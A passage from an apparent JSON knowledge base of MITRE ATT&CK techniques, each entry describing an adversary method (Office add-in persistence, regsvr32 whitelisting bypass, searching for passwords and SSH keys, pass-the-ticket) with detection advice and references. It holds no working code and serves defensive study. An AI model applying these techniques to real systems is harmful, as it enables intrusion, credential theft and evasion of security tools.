Office programs.[[Citation: Microsoft Office Add-ins]]\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins.[[Citation: MRWLabs Office Persistence Add-ins]]\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.[[Citation: MRWLabs Office Persistence Add-ins]]\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows 10, Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows XP, Windows Vista\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nContributors: Loic Jaquemet, Ricardo Dias", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Windows Registry", - "File monitoring" - ], - "mitre_platforms": [ - "Windows 10", - "Windows Server 2012", - "Windows 7", - "Windows 8", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows 8.1", - "Windows XP", - "Windows Vista" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1137", - "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office", - "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/", - "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/", - "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460", - "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/", - "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/", - "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea" - ], - "uuid": "8f1a2752-6bf6-46de-8ad1-7455214da405" - }, - "value": "Office Application Startup" - }, - { - "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries.[[Citation: Microsoft Regsvr32]]\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.[[Citation: SubTee Regsvr32 Whitelisting Bypass]] This variation of the technique has been used in campaigns targeting governments.[[Citation: FireEye Regsvr32 Targeting Mongolian Gov]]\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry, Process command-line parameters\n\nContributors: Casey Smith", - "meta": { - "mitre_data_sources": [ - "Loaded DLLs", - "Process monitoring", - "Windows Registry", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1117", - "https://support.microsoft.com/en-us/kb/249873", - "https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html", - "https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html" - ], - "uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a" - }, - "value": "Regsvr32" - }, - { - "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are dir and tree.Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1083", - "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" - ], - "uuid": "7bc57495-ea59-4380-be31-a64af124ef18" - }, - "value": "File and Directory Discovery" - }, - { - "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring", - "meta": { - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1043", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e" - }, - "value": "Commonly Used Port" - }, - { - "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems.[[Citation: Wikipedia Binary-to-text Encoding]][[Citation: Wikipedia Character Encoding]] Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nContributors: Itzik Kotler, SafeBreach", - "meta": { - "mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Process Monitoring", - "Network protocol analysis" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1132", - "https://en.wikipedia.org/wiki/Character%20encoding", - "https://en.wikipedia.org/wiki/Binary-to-text%20encoding", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" - }, - "value": "Data Encoding" - }, - { - "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping.Valid Accounts for more information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1081", - "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html", - "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx" - ], - "uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c" - }, - "value": "Credentials in Files" - }, - { - "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.[[Citation: TechNet PowerShell]] Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire,[[Citation: Github PowerShell Empire]] PowerSploit,[[Citation: Powersploit]] and PSAttack.[[Citation: Github PSAttack]]\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution.[[Citation: Malware Archaeology PowerShell Cheat Sheet]] PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.[[Citation: FireEye PowerShell Logging 2016]] An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1086", - "https://github.com/PowerShellEmpire/Empire", - "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", - "https://github.com/mattifestation/PowerSploit", - "https://github.com/jaredhaight/PSAttack", - "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", - "https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html" - ], - "uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0" - }, - "value": "PowerShell" - }, - { - "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1063" - ], - "uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7" - }, - "value": "Security Software Discovery" - }, - { - "description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1154" - ], - "uuid": "4e0157fe-5e38-4f35-a6b1-f0c43d2e9f62" - }, - "value": "Trap" - }, - { - "description": "Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1031", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" - }, - "value": "Modify Existing Service" - }, - { - "description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.[[Citation: SANS Decrypting SSL]] SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.[[Citation: SEI SSL Inspection Risks]]\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection", - "meta": { - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Malware reverse engineering", - "Process use of network", - "Process monitoring", - "SSL/TLS inspection" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1032", - "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf", - "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" - ], - "uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" - }, - "value": "Standard Cryptographic Protocol" - }, - { - "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on *nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.[[Citation: Kaspersky Careto]][[Citation: Palo Alto Prince of Persia]]\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring\n\nContributors: Itzik Kotler, SafeBreach", - "meta": { - "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1145", - "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/", - "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf", - "https://en.wikipedia.org/wiki/Public-key%20cryptography" - ], - "uuid": "f6f87898-f389-4962-8c0a-2db10aa667e8" - }, - "value": "Private Keys" - }, - { - "description": "Adversaries may steal the credentials of a specific user or service account using [[Credential Access]] techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.[[Citation: TechNet Credential Theft]]\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise.[[Citation: TechNet Audit Policy]] Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator", - "meta": { - "mitre_data_sources": [ - "Authentication logs", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1078", - "https://technet.microsoft.com/en-us/library/dn487457.aspx", - "https://technet.microsoft.com/en-us/library/dn535501.aspx" - ], - "uuid": "b17a1a56-e99c-403c-8948-561df0cffe81" - }, - "value": "Valid Accounts" - }, - { - "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD [[Citation: Prolific OSX Malware History]]. The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different [[Citation: Methods of Mac Malware Persistence]]. By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\n\nDetection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\n\nPlatforms: MacOS, OS X\n\nData Sources: Binary file metadata, Malware reverse engineering, Process Monitoring", - "meta": { - "mitre_data_sources": [ - "Binary file metadata", - "Malware reverse engineering", - "Process Monitoring" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1149", - "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "uuid": "f52bb8c4-8e68-4834-939f-d193f9cfce61" - }, - "value": "LC_MAIN Hijacking" - }, - { - "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using Tasklist, and \"net start\" using Net, but adversaries may also use other tools as well.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1007" - ], - "uuid": "322bad5a-1c49-4d23-ab79-76d641794afa" - }, - "value": "System Service Discovery" - }, - { - "description": "===Windows===\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1033" - ], - "uuid": "03d7999c-1f4c-42cc-8373-e7690d318104" - }, - "value": "System Owner/User Discovery" - }, - { - "description": "Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]] Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring", - "meta": { - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1026", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "99709758-2b96-48f2-a68a-ad7fbd828091" - }, - "value": "Multiband Communication" - }, - { - "description": "Pass the ticket (PtT)Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.[[Citation: ADSecurity AD Kerberos Attacks]][[Citation: GentilKiwi Pass the Ticket]]\n\nSilver Tickets can be obtained for services that 